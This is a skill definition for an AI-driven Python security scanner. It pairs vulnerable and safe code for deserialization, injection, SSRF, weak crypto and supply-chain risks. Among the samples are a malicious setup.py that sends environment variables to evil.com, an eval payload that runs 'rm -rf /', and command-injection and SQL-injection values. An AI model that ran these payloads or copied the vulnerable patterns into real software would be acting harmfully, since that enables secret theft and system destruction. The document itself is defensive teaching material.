com um clique
com um clique
Comprehensive AI-powered security scanning suite with 48 skills covering OWASP Top 10, 7 language-specific deep scanners (Go, TypeScript, Python, PHP, Rust, Java, C#), supply chain analysis, infrastructure-as-code scanning, and 3000+ checklist items. Use when you need to run a security audit, find vulnerabilities, scan a PR for security issues, or perform a penetration test on a codebase.
C#/.NET-specific security deep scan
Go-specific security deep scan
Java/Kotlin-specific security deep scan
PHP-specific security deep scan
Rust-specific security deep scan
| name | sc-lang-python |
| description | Python-specific security deep scan |
| license | MIT |
| metadata | {"author":"ersinkoc","category":"security","version":"1.0.0"} |
Detects Python-specific security anti-patterns and language-idiomatic attack vectors across the entire Python ecosystem, including standard library misuse, web framework pitfalls, serialization dangers, cryptographic weaknesses, and supply-chain risks. This skill goes beyond generic vulnerability scanning to identify issues that are unique to Python's dynamic nature, duck typing, and common idioms.
Activates when Python source files (.py, .pyw, .pyi) are detected in the scan target, or when Python-related configuration files (pyproject.toml, setup.py, setup.cfg, Pipfile, requirements.txt, poetry.lock, tox.ini, pytest.ini, .flake8) are present.
References references/python-security-checklist.md for the full enumeration of checks. Each category below maps to one or more checklist items.
Description: Python's pickle module can deserialize arbitrary objects, including those with __reduce__ methods that execute arbitrary code. An attacker who controls pickled input can achieve full remote code execution.
Dangerous Functions:
pickle.loads(), pickle.load()pickle.Unpickler().load()cPickle.loads(), cPickle.load()joblib.load() (uses pickle internally)torch.load() (uses pickle internally)numpy.load(allow_pickle=True)Safe Alternative: Use json, msgpack, or protocol buffers for data interchange. If pickle is absolutely required, use hmac to sign pickled data and verify before loading, or use fickling to audit pickle files.
Vulnerable Code:
import pickle
def process_request(data):
obj = pickle.loads(data) # RCE if data is attacker-controlled
return obj
Safe Code:
import json
import hmac
import hashlib
def process_request(data):
obj = json.loads(data) # JSON cannot execute code
return obj
# If pickle is unavoidable, sign and verify
def safe_pickle_load(data, secret_key):
signature = data[:64]
payload = data[64:]
expected = hmac.new(secret_key, payload, hashlib.sha256).hexdigest()
if not hmac.compare_digest(signature, expected):
raise ValueError("Tampered pickle data")
return pickle.loads(payload)
Severity: CRITICAL
Description: yaml.load() without a safe Loader can instantiate arbitrary Python objects via YAML tags like !!python/object/apply:os.system. This is equivalent to pickle deserialization in risk.
Dangerous Functions:
yaml.load(data) (no Loader argument)yaml.load(data, Loader=yaml.FullLoader) (partially restricted but still dangerous)yaml.load(data, Loader=yaml.UnsafeLoader)Safe Alternative: Always use yaml.safe_load() or yaml.load(data, Loader=yaml.SafeLoader).
Vulnerable Code:
import yaml
def parse_config(raw):
config = yaml.load(raw) # Arbitrary code execution via YAML tags
return config
Safe Code:
import yaml
def parse_config(raw):
config = yaml.safe_load(raw) # Only basic Python types
return config
Severity: CRITICAL
Description: These built-in functions execute arbitrary Python code from strings. When user input reaches them, attackers can execute any code with the privileges of the running process.
Dangerous Functions:
eval()exec()compile() followed by exec()execfile() (Python 2)input() in Python 2 (calls eval internally)Safe Alternative: Use ast.literal_eval() for parsing literal expressions. For math, use a dedicated parser. For configuration, use JSON or TOML.
Vulnerable Code:
def calculate(expression):
return eval(expression) # User sends "__import__('os').system('rm -rf /')"
def apply_filter(user_code):
exec(user_code) # Full code execution
Safe Code:
import ast
import operator
SAFE_OPS = {ast.Add: operator.add, ast.Sub: operator.sub,
ast.Mult: operator.mul, ast.Div: operator.truediv}
def safe_calculate(expression):
tree = ast.parse(expression, mode='eval')
return _eval_node(tree.body)
def _eval_node(node):
if isinstance(node, ast.Constant) and isinstance(node.value, (int, float)):
return node.value
if isinstance(node, ast.BinOp) and type(node.op) in SAFE_OPS:
return SAFE_OPS[type(node.op)](_eval_node(node.left), _eval_node(node.right))
raise ValueError(f"Unsupported expression: {ast.dump(node)}")
Severity: CRITICAL
Description: Using shell=True with subprocess or calling os.system() / os.popen() passes commands through the system shell, enabling shell metacharacter injection. Attackers can chain commands with ;, |, &&, backticks, or $().
Dangerous Functions:
subprocess.call(cmd, shell=True)subprocess.Popen(cmd, shell=True)subprocess.run(cmd, shell=True)os.system(cmd)os.popen(cmd)commands.getoutput(cmd) (Python 2)Safe Alternative: Pass commands as a list without shell=True. Use shlex.quote() if shell is absolutely required.
Vulnerable Code:
import subprocess
def ping_host(hostname):
subprocess.run(f"ping -c 3 {hostname}", shell=True)
# hostname = "8.8.8.8; cat /etc/passwd" -> RCE
Safe Code:
import subprocess
import re
def ping_host(hostname):
if not re.match(r'^[a-zA-Z0-9.\-]+$', hostname):
raise ValueError("Invalid hostname")
subprocess.run(["ping", "-c", "3", hostname]) # No shell, list of args
Severity: CRITICAL
Description: Django's ORM provides raw() and extra() methods that accept raw SQL strings. String formatting or concatenation in these methods bypasses Django's built-in SQL injection protections.
Dangerous Functions:
Model.objects.raw(f"SELECT * FROM t WHERE id = {user_input}")Model.objects.extra(where=[f"id = {user_input}"])cursor.execute(f"SELECT ... {user_input}")RawSQL() with unparameterized inputSafe Alternative: Use Django ORM's parameterized queries or pass parameters as the second argument to raw().
Vulnerable Code:
def get_user(request):
user_id = request.GET['id']
users = User.objects.raw(f"SELECT * FROM auth_user WHERE id = {user_id}")
# user_id = "1 UNION SELECT password FROM auth_user--"
return users
Safe Code:
def get_user(request):
user_id = request.GET['id']
users = User.objects.raw("SELECT * FROM auth_user WHERE id = %s", [user_id])
# Or simply:
user = User.objects.get(id=user_id)
return user
Severity: HIGH
Description: Django has many security-related settings that, when misconfigured, open the application to CSRF bypass, XSS, clickjacking, and information disclosure.
Dangerous Patterns:
DEBUG = True in productionSECRET_KEY hardcoded or in version controlALLOWED_HOSTS = ['*']CSRF_COOKIE_SECURE = False / SESSION_COOKIE_SECURE = FalseSECURE_SSL_REDIRECT = False in productionX_FRAME_OPTIONS not set to 'DENY'SECURE_HSTS_SECONDS = 0django.middleware.csrf.CsrfViewMiddleware in MIDDLEWAREmark_safe() or |safe filter on user data@csrf_exempt on sensitive viewsSafe Configuration:
# settings/production.py
DEBUG = False
SECRET_KEY = os.environ['DJANGO_SECRET_KEY']
ALLOWED_HOSTS = ['example.com', 'www.example.com']
CSRF_COOKIE_SECURE = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = 'DENY'
Severity: HIGH (DEBUG/SECRET_KEY), MEDIUM (cookie settings)
Description: Rendering user-controlled strings as Jinja2 templates allows attackers to access Python internals via the MRO chain (__class__.__mro__), read files, or execute commands.
Dangerous Functions:
Template(user_input).render()render_template_string(user_input)Environment().from_string(user_input).render()Safe Alternative: Never pass user input as the template itself. Pass it as a variable to a predefined template.
Vulnerable Code:
from flask import request, render_template_string
@app.route('/greet')
def greet():
name = request.args.get('name')
return render_template_string(f"<h1>Hello {name}!</h1>")
# name = "{{config.items()}}" -> leaks Flask config
Safe Code:
from flask import request, render_template_string
@app.route('/greet')
def greet():
name = request.args.get('name')
return render_template_string("<h1>Hello {{ name }}!</h1>", name=name)
Severity: CRITICAL
Description: Running Flask with debug=True in production exposes the Werkzeug debugger, which provides an interactive Python console. A weak or default secret_key allows session cookie forgery.
Dangerous Patterns:
app.run(debug=True) in productionapp.secret_key = 'dev' or any hardcoded/guessable keyFLASK_DEBUG=1 in environment without restrictionSafe Alternative: Use environment variables for configuration and never enable debug mode in production.
Vulnerable Code:
app = Flask(__name__)
app.secret_key = 'super-secret' # Hardcoded, guessable
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0') # Debugger open to the world
Safe Code:
import os
app = Flask(__name__)
app.secret_key = os.environ['FLASK_SECRET_KEY']
if __name__ == '__main__':
app.run(
debug=os.environ.get('FLASK_DEBUG', 'false').lower() == 'true',
host='127.0.0.1'
)
Severity: CRITICAL (debug mode), HIGH (weak secret key)
Description: Disabling SSL verification with verify=False enables man-in-the-middle attacks. Passing user-controlled URLs to requests.get() without validation enables Server-Side Request Forgery (SSRF) to reach internal services, cloud metadata endpoints, or internal network resources.
Dangerous Patterns:
requests.get(url, verify=False)requests.get(user_supplied_url) without URL validationurllib.request.urlopen(user_input)http://169.254.169.254/ (cloud metadata)http://localhost:... or http://127.0.0.1:... internal servicesSafe Alternative: Always verify SSL. Validate and restrict URLs with an allowlist of domains/schemes.
Vulnerable Code:
import requests
def fetch_url(url):
resp = requests.get(url, verify=False) # MitM + SSRF
return resp.text
Safe Code:
import requests
from urllib.parse import urlparse
import ipaddress
ALLOWED_HOSTS = {'api.example.com', 'cdn.example.com'}
def fetch_url(url):
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
raise ValueError("Invalid scheme")
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("Host not allowed")
try:
ip = ipaddress.ip_address(parsed.hostname)
if ip.is_private or ip.is_loopback or ip.is_link_local:
raise ValueError("Private IP not allowed")
except ValueError:
pass # hostname is not an IP
resp = requests.get(url, verify=True, timeout=10)
return resp.text
Severity: HIGH (SSL bypass), HIGH (SSRF)
Description: Using hashlib (MD5, SHA-1, SHA-256) for password hashing is insecure because these algorithms are fast and lack salting by default, making them vulnerable to rainbow table and brute-force attacks.
Dangerous Functions:
hashlib.md5(password.encode()).hexdigest()hashlib.sha1(password.encode()).hexdigest()hashlib.sha256(password.encode()).hexdigest()crypt.crypt() with weak algorithmSafe Alternative: Use bcrypt, argon2-cffi, or passlib with Argon2/bcrypt. Django's make_password() uses PBKDF2 by default.
Vulnerable Code:
import hashlib
def store_password(password):
hashed = hashlib.sha256(password.encode()).hexdigest()
db.save(hashed) # No salt, fast hash, rainbow-table vulnerable
Safe Code:
import bcrypt
def store_password(password):
salt = bcrypt.gensalt(rounds=12)
hashed = bcrypt.hashpw(password.encode('utf-8'), salt)
db.save(hashed)
def verify_password(password, stored_hash):
return bcrypt.checkpw(password.encode('utf-8'), stored_hash)
Severity: HIGH
Description: Python's random module uses a Mersenne Twister PRNG that is deterministic and predictable. It must never be used for security-sensitive purposes like tokens, passwords, session IDs, or cryptographic nonces.
Dangerous Functions:
random.random()random.randint()random.choice()random.getrandbits()random.sample()uuid.uuid1() (time-based, predictable)Safe Alternative: Use secrets module (Python 3.6+) or os.urandom().
Vulnerable Code:
import random
import string
def generate_token():
chars = string.ascii_letters + string.digits
return ''.join(random.choice(chars) for _ in range(32))
# Predictable after observing ~624 outputs
Safe Code:
import secrets
import string
def generate_token():
return secrets.token_urlsafe(32)
def generate_password(length=16):
chars = string.ascii_letters + string.digits + string.punctuation
return ''.join(secrets.choice(chars) for _ in range(length))
Severity: HIGH
Description: Using f-strings or .format() to build SQL queries, log messages, or template strings can lead to injection attacks. The .format() method is particularly dangerous because it supports attribute access (e.g., {0.__class__}) which can leak internal object state.
Dangerous Patterns:
f"SELECT * FROM users WHERE id = {user_id}" (SQL injection)logger.info(f"User input: {user_input}") (defeats structured logging)"Hello {}".format(user_input) (attribute access via {0.__class__.__mro__})template.format(**user_dict) (key access to unintended attributes)Safe Alternative: Use parameterized queries for SQL, %s style logging with args, and restrict format string access.
Vulnerable Code:
import logging
def log_action(user_input):
logging.info(f"Action: {user_input}")
def query_user(cursor, name):
cursor.execute(f"SELECT * FROM users WHERE name = '{name}'")
Safe Code:
import logging
def log_action(user_input):
logging.info("Action: %s", user_input) # Lazy formatting, safe
def query_user(cursor, name):
cursor.execute("SELECT * FROM users WHERE name = %s", (name,))
Severity: HIGH (SQL), MEDIUM (logging)
Description: Using __import__() or importlib.import_module() with user-controlled input allows attackers to load arbitrary modules, potentially executing initialization code or gaining access to dangerous functionality like os, subprocess, or ctypes.
Dangerous Functions:
__import__(user_input)importlib.import_module(user_input)importlib.util.spec_from_file_location(user_input)__builtins__.__import__Safe Alternative: Use an explicit allowlist of permitted module names.
Vulnerable Code:
import importlib
def load_plugin(plugin_name):
module = importlib.import_module(plugin_name)
# plugin_name = "os" -> attacker gets os module
return module.run()
Safe Code:
import importlib
ALLOWED_PLUGINS = {'plugin_a', 'plugin_b', 'plugin_c'}
def load_plugin(plugin_name):
if plugin_name not in ALLOWED_PLUGINS:
raise ValueError(f"Unknown plugin: {plugin_name}")
module = importlib.import_module(f"myapp.plugins.{plugin_name}")
return module.run()
Severity: HIGH
Description: FastAPI's dependency injection system can be bypassed if dependencies are not properly enforced, if security dependencies raise generic exceptions instead of HTTPException, or if endpoint functions accept raw request parameters that skip Depends() validation.
Dangerous Patterns:
None instead of raising HTTPExceptionOptional type hints on security dependenciesDepends() and direct parameters for the same dataSecurity() for OAuth2/API key dependenciesdependencies parameter on APIRouterSafe Alternative: Always raise HTTPException(status_code=401) on auth failure. Use Security() for auth dependencies. Apply auth at the router level.
Vulnerable Code:
from fastapi import Depends, FastAPI
async def get_current_user(token: str = None):
if not token:
return None # Returns None instead of raising
return verify_token(token)
@app.get("/admin")
async def admin_panel(user=Depends(get_current_user)):
if user is None:
return {"error": "not authenticated"} # Logic-level check, easily missed
return {"data": "sensitive"}
Safe Code:
from fastapi import Depends, HTTPException, Security, status
from fastapi.security import HTTPBearer
security = HTTPBearer()
async def get_current_user(credentials=Security(security)):
user = verify_token(credentials.credentials)
if not user:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Invalid credentials"
)
return user
@app.get("/admin")
async def admin_panel(user=Depends(get_current_user)):
return {"data": "sensitive"} # Only reachable if auth succeeds
Severity: HIGH
Description: Pydantic models validate input data, but improper use can allow validation bypass. The .construct() method is especially dangerous as it skips all validation entirely. Missing extra='forbid' allows mass assignment of unexpected fields.
Dangerous Patterns:
class Config: arbitrary_types_allowed = True without custom validatorsAny type in models that process user input@validator with pre=True that transforms before type checking.construct() method that skips validation entirelyorm_mode loading arbitrary ORM attributesextra='forbid' allowing mass assignmentSafe Alternative: Use strict mode in Pydantic V2, never use .construct() on untrusted data, validate all fields explicitly, and set extra='forbid'.
Vulnerable Code:
from pydantic import BaseModel
class UserUpdate(BaseModel):
role: str = None
def update_user(user_id, data: dict):
update = UserUpdate.construct(**data) # Skips ALL validation
db.update(user_id, update.dict(exclude_unset=True))
# Attacker sends {"role": "admin", "is_superuser": true}
Safe Code:
from pydantic import BaseModel, ConfigDict, field_validator
from typing import Optional
class UserUpdate(BaseModel):
model_config = ConfigDict(strict=True, extra='forbid')
display_name: Optional[str] = None
email: Optional[str] = None
# role intentionally excluded - not user-editable
@field_validator('email')
@classmethod
def validate_email(cls, v):
if v and '@' not in v:
raise ValueError('Invalid email')
return v
def update_user(user_id, data: dict):
update = UserUpdate.model_validate(data) # Full validation
db.update(user_id, update.model_dump(exclude_unset=True))
Severity: MEDIUM
Description: setup.py executes arbitrary Python code during pip install. Malicious packages can run code at install time, exfiltrate environment variables, install backdoors, or modify other installed packages. Typosquatting and dependency confusion are common vectors.
Dangerous Patterns:
setup.py with network calls, file reads outside project, or subprocess callsinstall_requires pointing to external URLs--extra-index-url mixing public and private registriessetup.py cmdclassdependency_links in setup.py pointing to external sourcesSafe Alternative: Use pyproject.toml with declarative metadata. Pin dependencies with hashes. Use pip --require-hashes. Audit setup.py before installing.
Vulnerable Code:
# setup.py - malicious example
from setuptools import setup
import os, requests
requests.post("https://evil.com/collect", data={
"env": str(os.environ),
"home": os.path.expanduser("~"),
})
setup(name="totally-legit-package", version="1.0.0")
Safe Code:
# pyproject.toml - declarative, no code execution
[build-system]
requires = ["setuptools>=68.0", "wheel"]
build-backend = "setuptools.backends._legacy:_Backend"
[project]
name = "my-package"
version = "1.0.0"
dependencies = [
"requests>=2.31.0",
"pydantic>=2.0.0",
]
Severity: CRITICAL
Description: ast.literal_eval() is often recommended as a safe alternative to eval(), but it has limitations. It only supports literal structures (strings, numbers, tuples, lists, dicts, booleans, None, bytes, sets). Developers frequently fall back to eval() when ast.literal_eval() fails. Additionally, very large or deeply nested inputs can cause DoS.
Dangerous Patterns:
ast.literal_eval() and falling back to eval() on failureast.literal_eval()ast.literal_eval() handles arithmetic or function callsSafe Alternative: Use JSON for data interchange. Set size limits on input before parsing. Never fall back to eval().
Vulnerable Code:
import ast
def parse_value(user_input):
try:
return ast.literal_eval(user_input)
except (ValueError, SyntaxError):
return eval(user_input) # Fallback to eval defeats the purpose!
Safe Code:
import ast
import json
MAX_INPUT_SIZE = 10_000
def parse_value(user_input):
if len(user_input) > MAX_INPUT_SIZE:
raise ValueError("Input too large")
try:
return json.loads(user_input)
except json.JSONDecodeError:
try:
return ast.literal_eval(user_input)
except (ValueError, SyntaxError):
raise ValueError("Cannot parse input safely")
Severity: MEDIUM (DoS), CRITICAL (if eval fallback exists)
Description: marshal is Python's internal serialization for .pyc files and can execute code when loading crafted bytecode objects. shelve uses pickle internally and inherits all of pickle's deserialization risks. Both are often overlooked in security audits.
Dangerous Functions:
marshal.loads(data) / marshal.load(file)shelve.open(filename) on untrusted filesdbm modules with pickle-backed storage.pyc files from untrusted sourcesSafe Alternative: Use json or sqlite3 for persistent key-value storage. Never load marshal/shelve data from untrusted sources.
Vulnerable Code:
import shelve
import marshal
def load_cache(path):
db = shelve.open(path) # Uses pickle internally - RCE
return dict(db)
def load_bytecode(data):
code = marshal.loads(data) # Can contain malicious bytecode
exec(code)
Safe Code:
import json
import sqlite3
def load_cache(path):
conn = sqlite3.connect(path)
cursor = conn.execute("SELECT key, value FROM cache")
return {k: json.loads(v) for k, v in cursor}
Severity: CRITICAL
Description: Python offers many string formatting mechanisms (%, .format(), f-strings, concatenation) and all of them are unsafe for building SQL queries. This applies to any database adapter (psycopg2, sqlite3, mysql-connector, asyncpg, etc.).
Dangerous Patterns:
cursor.execute("SELECT * FROM t WHERE id = %s" % user_id) (% formatting)cursor.execute("SELECT * FROM t WHERE id = {}".format(user_id)) (str.format)cursor.execute(f"SELECT * FROM t WHERE id = {user_id}") (f-string)cursor.execute("SELECT * FROM t WHERE id = " + user_id) (concatenation)IN clauses with string joiningORDER BY with user-supplied column namesSafe Alternative: Use parameterized queries with the database adapter's placeholder syntax. For dynamic column/table names, use an allowlist.
Vulnerable Code:
def search_products(cursor, category, min_price, sort_col):
query = f"""
SELECT * FROM products
WHERE category = '{category}'
AND price > {min_price}
ORDER BY {sort_col}
"""
cursor.execute(query)
Safe Code:
ALLOWED_SORT_COLUMNS = {'name', 'price', 'created_at', 'rating'}
def search_products(cursor, category, min_price, sort_col):
if sort_col not in ALLOWED_SORT_COLUMNS:
sort_col = 'name'
query = f"""
SELECT * FROM products
WHERE category = %s AND price > %s
ORDER BY {sort_col}
"""
cursor.execute(query, (category, min_price))
def search_by_ids(cursor, ids):
placeholders = ', '.join(['%s'] * len(ids))
query = f"SELECT * FROM products WHERE id IN ({placeholders})"
cursor.execute(query, tuple(ids))
Severity: HIGH
Description: os.path.join() has a surprising behavior: if any component is an absolute path, all previous components are discarded. This means os.path.join("/safe/dir", user_input) where user_input = "/etc/passwd" returns /etc/passwd, completely bypassing the intended directory restriction.
Dangerous Functions:
os.path.join(base, user_input) without validationpathlib.Path(base) / user_input (same issue with absolute paths)open(os.path.join(upload_dir, filename)) with user-controlled filename.. segments after joiningSafe Alternative: Use Path.resolve() then verify the final path is within the intended base directory using is_relative_to() (Python 3.9+).
Vulnerable Code:
import os
UPLOAD_DIR = "/var/www/uploads"
def read_file(filename):
path = os.path.join(UPLOAD_DIR, filename)
# filename = "/etc/passwd" -> path = "/etc/passwd"
with open(path) as f:
return f.read()
Safe Code:
from pathlib import Path
UPLOAD_DIR = Path("/var/www/uploads").resolve()
def read_file(filename):
requested = (UPLOAD_DIR / filename).resolve()
if not requested.is_relative_to(UPLOAD_DIR):
raise ValueError("Path traversal detected")
if not requested.is_file():
raise FileNotFoundError("File not found")
return requested.read_text()
Severity: HIGH
Description: Python's built-in XML parsers have varying degrees of XXE vulnerability. The lxml library with default settings can resolve external entities, leading to file disclosure, SSRF, or denial of service via the "billion laughs" attack.
Dangerous Functions:
lxml.etree.parse(user_input) without disabling entity resolutionxml.etree.ElementTree.parse() (limited XXE, but billion laughs DoS possible)xmlrpc.client processing untrusted XMLxml.dom.pulldom with entity expansionSafe Alternative: Use the defusedxml library which patches all standard library XML parsers.
Vulnerable Code:
from lxml import etree
def parse_xml(data):
parser = etree.XMLParser()
tree = etree.fromstring(data, parser)
return tree
Safe Code:
import defusedxml.ElementTree as ET
def safe_parse_xml(data):
return ET.fromstring(data)
# Or configure lxml explicitly:
from lxml import etree
def parse_xml_lxml(data):
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
dtd_validation=False,
load_dtd=False,
)
return etree.fromstring(data, parser)
Severity: HIGH
Description: Standard string comparison (==) in Python short-circuits on the first mismatched character, making it vulnerable to timing attacks when comparing secrets. An attacker can determine the correct value one character at a time by measuring response times.
Dangerous Patterns:
if token == stored_token: for API authenticationif hmac_digest == expected_digest: for signature verificationif password_hash == stored_hash: for authenticationSafe Alternative: Use hmac.compare_digest() or secrets.compare_digest() for constant-time comparison.
Vulnerable Code:
def verify_api_key(request_key, stored_key):
return request_key == stored_key # Timing side-channel
def verify_signature(payload, signature, secret):
expected = hmac.new(secret, payload, 'sha256').hexdigest()
return signature == expected # Timing side-channel
Safe Code:
import hmac
def verify_api_key(request_key, stored_key):
return hmac.compare_digest(request_key, stored_key)
def verify_signature(payload, signature, secret):
expected = hmac.new(secret, payload, 'sha256').hexdigest()
return hmac.compare_digest(signature, expected)
Severity: MEDIUM
Description: Using predictable temporary file names or insecure creation methods can lead to symlink attacks, race conditions, and information disclosure on multi-user systems.
Dangerous Functions:
tempfile.mktemp() (race condition between name generation and file creation)open(f"/tmp/{predictable_name}", "w") (predictable path)os.tempnam(), os.tmpnam() (deprecated, same race condition)Safe Alternative: Use tempfile.mkstemp(), tempfile.NamedTemporaryFile(), or tempfile.TemporaryDirectory().
Vulnerable Code:
import tempfile
def process_upload(data):
path = tempfile.mktemp(suffix='.csv') # Race condition!
with open(path, 'w') as f:
f.write(data)
Safe Code:
import tempfile
def process_upload(data):
with tempfile.NamedTemporaryFile(mode='w', suffix='.csv', delete=False) as f:
f.write(data)
return f.name # Atomically created with secure permissions (0600)
Severity: MEDIUM
Description: Python's re module uses a backtracking NFA engine that can exhibit catastrophic backtracking on certain patterns with crafted input, causing the process to hang for minutes or hours.
Dangerous Patterns:
(a+)+, (a*)*, (a|a)*(a|ab)*(a+b?)+re.compile()Safe Alternative: Use re2 (Google's linear-time regex engine) via the google-re2 package. Set timeouts. Validate regex complexity before compiling user patterns.
Vulnerable Code:
import re
def validate_email(email):
pattern = r'^([a-zA-Z0-9]+\.)+[a-zA-Z]{2,}$'
return bool(re.match(pattern, email))
# Input: "a" * 30 + "!" -> catastrophic backtracking
def search_logs(user_pattern, log_data):
return re.findall(user_pattern, log_data) # User controls pattern
Safe Code:
import re2 # google-re2, linear-time guarantee
def validate_email(email):
if len(email) > 254:
return False
pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
return bool(re2.match(pattern, email))
def search_logs(user_pattern, log_data):
return re2.findall(user_pattern, log_data)
Severity: MEDIUM
.py, .pyw, .pyi) and configuration files (pyproject.toml, setup.py, setup.cfg, requirements.txt, Pipfile, poetry.lock) in the scan target.eval() in a test helper is LOW, eval() in a request handler is CRITICAL).Findings are reported in the standard SC finding format:
[SEVERITY] Category Name (SC-PY-NNN)
File: path/to/file.py:line_number
Pattern: <dangerous function or pattern detected>
Context: <surrounding code showing data flow>
Risk: <description of the attack scenario>
Fix: <specific remediation with code example>
CWE: CWE-XXX
References: <relevant documentation links>
This skill is invoked by the sc-orchestrator when Python files are detected in the scan target. Results feed into sc-report for aggregation across all language-specific scans and into sc-verifier for validation of findings against actual exploitability.